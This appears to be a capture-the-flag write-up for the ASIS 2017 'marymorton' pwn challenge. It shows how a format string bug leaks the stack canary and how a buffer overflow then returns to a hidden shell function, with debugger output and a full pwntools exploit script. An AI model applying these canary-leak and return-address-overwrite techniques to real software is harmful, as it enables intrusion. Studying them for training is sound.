Post

Asis 2017 marymorton

Asis 2017 marymorton

Information

  • Category: Pwn
  • Points: 43

Description

Mary surprises Sherlock with her knowledge and insight into his character, but she had a very obvious vulnerability which Sherlock exploited it, although it was very painful for him!

Write-up

Running the program produces the following output:

1
2
3
4
5
6
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle

The program allows you to select a vulnerability to exploit — which is pretty cool!

Now let’s get the basic info from the program:

1
2
3
4
5
6
checksec --file=./mary_morton
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

The program has some mitigations like NX enabled and a stack canary. Keep this in mind.

Stack canary is present, which protects against simple stack overflows. NX (No eXecute) is enabled, so we can’t execute code on the stack.

There are two functions that can be called based on your choice:

The first function has a format string vulnerability — but how? You can see that it takes your input and passes it directly to printf without a format string. This makes it vulnerable! You can use it to read or write memory, which makes it a very powerful vulnerability.

Leak memory using format specifiers like %x, %s, or %p.

Write to memory using %n

The second function has a stack buffer overflow vulnerability. It uses read() with a size of 0x100, which allows you to overflow the buffer and control the return address. This means you can overwrite the return address and redirect execution wherever you want.

I found the system function in the GOT/PLT section — and that’s very important! Since the binary is stripped and has no PIE, we can use its fixed address later in the exploit. But wait — system isn’t used in main, so why is it in the program? You can use tools like xref to see where it’s called from. And boom — there’s a hidden function that runs system("/bin/sh") and gives a shell! Now, we just need to call it.

To bypass the stack canary, we need two things:

  • The offset from the buffer to the canary and return address

  • The leaked canary value

Since we have a format string vulnerability, we can leak the canary from the stack. Once we know the offset and the canary value, we can overwrite the stack safely, pass the canary check, and then return to the hidden function that gives us a shell.

Use pwndbg to find the offset between the buffer, the canary, and the return address.

To calculate the offset between the buffer and the canary:

  • The buffer is at rbp - 0x98

  • The canary is at rbp - 0x10

So we need 0x98 - 0x10 = 0x88 bytes to reach the canary. Then, we need 8 more bytes to reach the return address (after the canary).

find the canary’s offset in memory, set a breakpoint at the start of the fmtstrBug function — specifically at 0x4008f6:

1
2
3
4
5
6
   0x4008ef    SUB    RSP,0x90
          
          
   0x4008f6    MOV    RAX,qword ptr FS:[0x28]
          

This line moves the canary value from FS:[0x28] into RAX.

Then step forward using ni (next instruction):

1
2
3
4
5
6
7
8
pwndbg> ni
0x0000000000400903 in ?? ()
.
.
.
pwndbg> p/x $rax
$2 = 0xb145368bea2f6300
pwndbg> 

Now, set a breakpoint at the printf call inside the fmtstrBug function to find the canary’s offset in the stack:

1
2
3
4
5
pwndbg> c
Continuing.
Breakpoint 1, 0x0000000000400944 in ?? ()
*RIP  0x400944 ◂— call printf@plt
► 0x400944    call   printf@plt

Then check the stack:

1
2
3
4
pwndbg> stack
00:0000│ rdi rsi rsp 0x7fffffffde80 ◂— '%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.\n'
...
11:0088│-008 0x7fffffffdf08 ◂— 0xb145368bea2f6300  ← This is the canary!

Then continue to see the actual output from printf:

1
2
3
pwndbg> c
Continuing.
7FFFFFFFDE80.35.7FFFFFFFDF20.0.0.2E586C25...
1st rdi2nd rsi3rd rdx4th rcx5th r86th r9then stack

The canary is located at 0x88 bytes above the base of the buffer on the stack:

1
 11:0088│-008 0x7fffffffdf08 ◂— 0xb145368bea2f6300  ← canary

Since each step in a format string leak like %lx reads 8 bytes (64 bits), we calculate:

1
0x88 / 0x8 = 17

So it takes 17 stack slots to reach the canary after the format string arguments begin.

In x64, the first 6 arguments to printf() are passed in registers (rdi, rsi, rdx, etc.). Format string values start on the stack after those.

Final result:

1
17 (stack positions to canary) + 6 (register args) = 23

So the canary is at offset %23$lx in the format string!

1
2
3
4
5
6
7
8
9
Welcome to the battle !
[Great Fairy] level pwned
Select your weapon
1. Stack Bufferoverflow Bug
2. Format String Bug
3. Exit the battle
2
%23$lX
EF2CFA8399681700

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3

from pwn import *

exe = ELF("./mary_morton")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1000)

    return r

def leakCanary(r):
    r.recvuntil("Exit the battle \n")
    r.sendline(b"2")
    
    fmtstr = b"%23$lX"
    
    r.sendline(fmtstr)
    canary = int(r.recvline().decode(),16)

    log.success(f"Canary Leak:{hex(canary)}")

    return canary

def main():
    r = conn()

    hiddenFunc = 0x4008da
    ret = 0x400659
    canary = leakCanary(r)

    payload = b"A"*0x88
    payload+= p64(canary)
    payload+= b"B"*0x8
    payload+= p64(ret)
    payload+= p64(hiddenFunc)

    r.sendline(b"1")
    r.sendline(payload)

    r.interactive()

if __name__ == "__main__":
    main()

Flag

Flag: ASIS{An_impROv3d_v3r_0f_f41rY_iN_fairy_lAnds!}

This post is licensed under CC BY 4.0 by the author.